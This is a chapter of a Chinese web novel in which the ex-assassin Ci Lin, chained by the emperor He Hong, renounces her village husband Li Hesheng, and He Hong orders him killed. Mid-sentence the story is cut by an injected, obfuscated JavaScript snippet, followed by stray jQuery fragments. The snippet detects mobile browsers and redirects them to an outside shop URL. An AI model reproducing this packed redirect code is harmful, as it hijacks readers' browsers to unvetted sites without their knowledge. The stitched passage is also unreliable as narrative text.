55.庄生梦蝶

作品:《为了活着被迫成为海王

    “你喜欢他?”


    这句话问得贺玜自己都觉得好笑,他才不管她喜欢谁!不由得语气转成了讽刺:


    “我从不知道一个杀人放火的人,也配活得这样自在?”


    女子闻及一愣,退了两步。


    说到了她的痛处。


    许久,慈粼才哑着嗓子,闷声道:“他是无辜的。”


    “好一个无辜!”


    女子的话同样也戳到了男人的痛处,贺玜一把扯着慈粼往后退缩的胳膊,眼里猩红疑惑:“我不无辜吗?”


    他愤怒起身,紧紧攥着慈粼,满腔委屈、不甘,在黑夜中爆发,不容她逃避半分:


    “慈粼你告诉我,我哪里错了?我为何就该死?!”


    慈粼怔怔望他。


    这个比她小两岁的男人,此刻长身俯垂,沉沉低头,一双大手好似抓着救命稻草般攥着她,死死不放。


    慈粼无奈叹气,她该要怎么解释,当时...


    当时,她一心为了任务,没有预料过这样的事情发生。以往仇家找上门,无非是比谁更强,谁能杀了对方活下去。


    唯有贺玜一事,是她真的心有愧疚。


    只是,愧疚归愧疚,他也不能因此事,伤了旁人性命。


    她犹豫抬手,轻轻覆在那鎏金发冠上,道:“我任你处置,行不行?”


    男人垂下的头微微一颤。


    可不等他考虑,女人又道:


    “这是我与你之间的事情,同旁人无关,更同李家村无关。你不可胡来,伤人性命。”


    贺玜听完,讽刺一嗤,直起腰身,隐去眼尾的情绪:


    “这是不做杀手,想做好人了?”


    慈粼一默。


    半年不见,学会阴阳怪气了。


    可眼前的贺玜早就不是慈粼认识的那个贺玜了,如今慈粼越不让他做的,越讨厌他做什么,他就越不会让她如意。


    “你现在愿意做好人了,那谁来当坏人啊?”


    贺玜玩味着退后两步,慵懒倒在软床上,展开双臂,语气慵懒又无谓:


    “我来当吧。”


    他盯着屋内满红的喜绸,侧头,将视线落在新婚被褥上,那对绣工整齐的鸳鸯图案让他陷入沉思。


    “你能杀人,我就不能吗?”


    屋内响起铁链声,贺玜深了眸子,先慈粼一步开口,“再拿你那套虚伪的词来说教,我就拔了你的舌头。让你做一个口不能言,脚不能走的,活人,活一辈子。”


    慈粼闭嘴。


    退了两步。


    小小年纪,跟谁学的这样歹毒!


    她默默坐在桌旁椅子上,等了很久,那人既没有让她出去,也不肯将脚拷给她解开。


    黑沉的屋内静悄悄的,贺玜躺在她的床上,好似睡着了。


    透着诡异又压抑的气氛。


    慈粼受不住这沉闷,不禁将椅子移到窗下,支开小截窗户。


    尽管她已经很小心了,可黑暗的房间内还是能听见铁链哗哗作响的声音。


    她扭头看去,在黑暗中,对上那道不悦视线。


    ……


    她无奈,看向月色。


    -


    慈粼就这么在窗边坐了一夜。


    春季的夜里微凉,女子瘦弱的身形缩在椅子上,双腿屈膝,靠着窗柩。


    青丝遮盖了她大半张脸,瘦峋的颈骨微垂,轻轻埋在膝盖处。


    慈粼不知道床边的男人打量她有半刻钟。


    自从李家村后,慈粼慢慢改掉了警惕侦察的习惯,此刻,正卸下防备,陷入一个不安稳的梦中。


    直到一阵急促的敲门声响起,让慈粼从浅梦中惊醒。她几乎是蹭得一下站起来,忍着发麻的双腿,望去窗外。


    是李河生?


    她心里暗觉糟糕,扭头看去床上的人,不知何时,贺玜已经推门出去。


    她慌张跟上。


    贺玜脚步未停,传来一句警告:“你最好在里面待着。”


    慈粼一怔,禁锢着铁链的脚顿住。


    眼下还是不要惹怒贺玜。


    她在窗边看着,一日不见的李河生好像憔悴许多,衣服几处隐隐有些血迹。


    显然,是吃了不少拳头。


    但好在,贺玜没有杀他。


    “慈粼,你在里面吗?”


    昨日是李河生与慈粼成亲的日子,却在入洞房之际被人打晕,关进了柴房。


    今早醒来,看见外面一圈带刀的黑衣人,他便知晓慈粼定发生了什么事。


    一路挨打至此。


    大门悠哉被人打开,却见一名男子走出来。那人穿着原本属于他的喜服,立在门口。


    “你,你是谁?慈粼在哪?!”李河生踉跄几步,盯着贺玜身上刺眼的喜服,质问道。


    门口男人没有理他,李河生被身后出现的宜生一脚踹去,扣押在地上。


    “放肆!”


    一句斥喝,招来了一众侍卫围困,齐齐拔刀对着地上的李河生。


    李河生没有见过这样大阵仗的场面,他知道这个气质不凡的男子身份定是不简单。


    可这样一个权势滔天之人,为何会涉足于小小的李家村?


    李河生目光望去屋内,是冲着慈粼来的,“慈粼在哪里?”


    贺玜冷漠一睨,宛如在看一只蝼蚁:“与你何干?”


    “她是我的妻子!她...”不等李河生说完,就被眼前男人的一记冷眼震慑住,顿了后面的话。


    贺玜将李河生从头到尾打量一番,无情嗤笑:


    “她可势利得很,我瞧你一穷二白的样子,她当真愿意嫁于你?小心最后被骗得怎么死都不知道。”


    李河生不信:“我是真心要娶她,她也是自愿的。你又是何人?你与她又是什么关系?!”


    愣头青不愣了,面对情敌还壮了几分气势。


    可在贺玜看来,如观跳梁小丑。


    不屑,鄙睨,在贺玜见到李河生的第一眼,就恍如见到了曾经的那个自己。


    那个愚蠢不自知的自己。


    贺玜冷挑视线,“杀人偿命。我是来向她索命的。”


    “你胡说!”


    贺玜阴阴一笑,并未将李河生放于眼里,他转身,森森道:


    “她想躲在这里成婚育子,偏安一隅?妄想。”


    男人如修罗,面上带着笑容,可说出来的话却是充满不屑,裹挟着几分轻佻讽刺。


    屋内的慈粼听见了外面的话,扶在窗棂上的指尖微颤,无声垂落着睫毛,盖下眼睑下的青乌。


    那些话如块沉重的石头,压在她心口,使她闷胀不已。


    恍神之际,外面已经乱成一团。


    李河生一心想见到慈粼,被一众侍卫拳打脚踢后,就要拖走。


    鼻青脸肿的李河生却不肯离开,一只手死死扒着门槛,不肯放。


    而贺玜则是坐在堂屋的椅上,冷眼观之。


    他不发话,无人敢停。


    这一幕,让慈粼觉得无比熟悉。曾在西融,在那些权衡面前,贺玜曾也同现在的李河生一样,宁死不屈,拼死抵抗。


    如今隔了不过半年,少年就发生了翻天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671986|141385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    覆地的变化。


    同那些人,同她,成为了一种人。


    她微微叹气,从屋里踏了出去。再打下去,李河生怕是没命。


    “别打了。”慈粼站在堂屋之中,望向贺玜。


    贺玜冷漠,未理。


    看着李河生口吐鲜血,模样惨状,慈粼不忍,伸手拿起桌上的茶杯,甩向门外群殴之中领头的侍卫。


    茶杯精准无误地砸在那人头上,顿时碎开数瓣,朝四周溅去,使得一众侍卫停手躲去。


    带着脚链的慈粼走至门口,一身简素喜服,身上并无多少珠饰,只有一支剔透的红玉簪子横在发间,却依旧绝美惊艳。


    一众侍卫楞在原地,前几日他们随陛下微服出宫,行程紧迫地赶到李家村,以为是去抓同陛下有血海深仇的仇家。


    没想到,是来破坏别人的婚事。


    他们视线瞅去女子双脚间那粗沉的链子,不解,女人那张白皙温柔的脸上透着无害,陛下用锁死囚的玄铁脚链拷着,会不会有些……过分了?


    慈粼并不在意众人打量她的脚拷,而是平静地蹲下身,将李河生扶起,轻声道:


    “你这一根筋的脑袋,脸色不会看,人也数不清么?这么多人,打不过为何还不离去?”


    李河生抬起那张青肿的脸,看到慈粼完好无损,才松下担忧的心,像个犯错的孩子低下头:


    “我怕你有事。”


    慈粼叹笑,“你没听他说我的事迹吗?担心我还不如担心你自己。回去吧,别在这。”


    李河生摇摇头,勉强自己站好,随后牵起慈粼的手,颤抖又有丝坚定:“我……我带你走。”


    李河生难得勇敢一回,牵着慈粼的手不肯放,往院子外走去。


    慈粼心里五味杂陈,她知道身后那双眼睛在看着她,透着杀气。


    终是她顿住脚步,从李河生的手中挣脱出,在李河生的怔愣中,将他往外推了推,道:


    “李河生,我是个混蛋,他说的一点没错。”


    她的报应,不应该连累他人。


    “我来李家村,就是为了躲避外面那些仇人追杀,拿你做掩护。如今你也看到了,被抓到了,罪有应得。”


    她扯出一抹笑容,无奈扯了扯裙摆,露出那副脚链:


    “我啊,在外面天天杀人放火,作恶多端,追杀令满天飞,这幅模样都是咎由自取。至于你,确实有些对不住...”


    她垂下眼睛,不忍去看李河生沉默的眼神,她觉得她骨子里烂透了,欺骗利用的话信手拈来。


    如今唯一的幻想破灭也罢,还欠了人一份情。


    李河生僵硬两步,张了张口,望向她:“慈粼...”


    慈粼苦涩一笑,伸手推开他:“你走吧李河生。想想你阿嬷,你还有很多事情要做,不该将生命浪费在我这里。我与你言,不过是个相识几日的可无之人。成婚一事…是我轻浮鲁莽,昨日既未成礼,便不作数,你还可以娶别的女子。慈粼在这,向你赔罪了。”


    她垂着头,弯着腰,视线顿在身上这可笑的喜服上,酸涩了眼泪。


    李河生被慈粼推出了院子外,怔愣许久,看着深感歉意的女子,他发闷的胸口涨得生疼。


    他听出了女子话中的歉意、无奈,和与他的不可能,可他最后什么都没说出口,带着女子那份无声恳求,颓沉无措地往外走去。


    真是好一对苦命鸳鸯。


    贺玜坐在椅子上,视线盯死在女子久久弯腰的身影上,捏在桌角的手狠狠发抖,眼底升起猩红妒忌:


    “宜生,去杀了他。”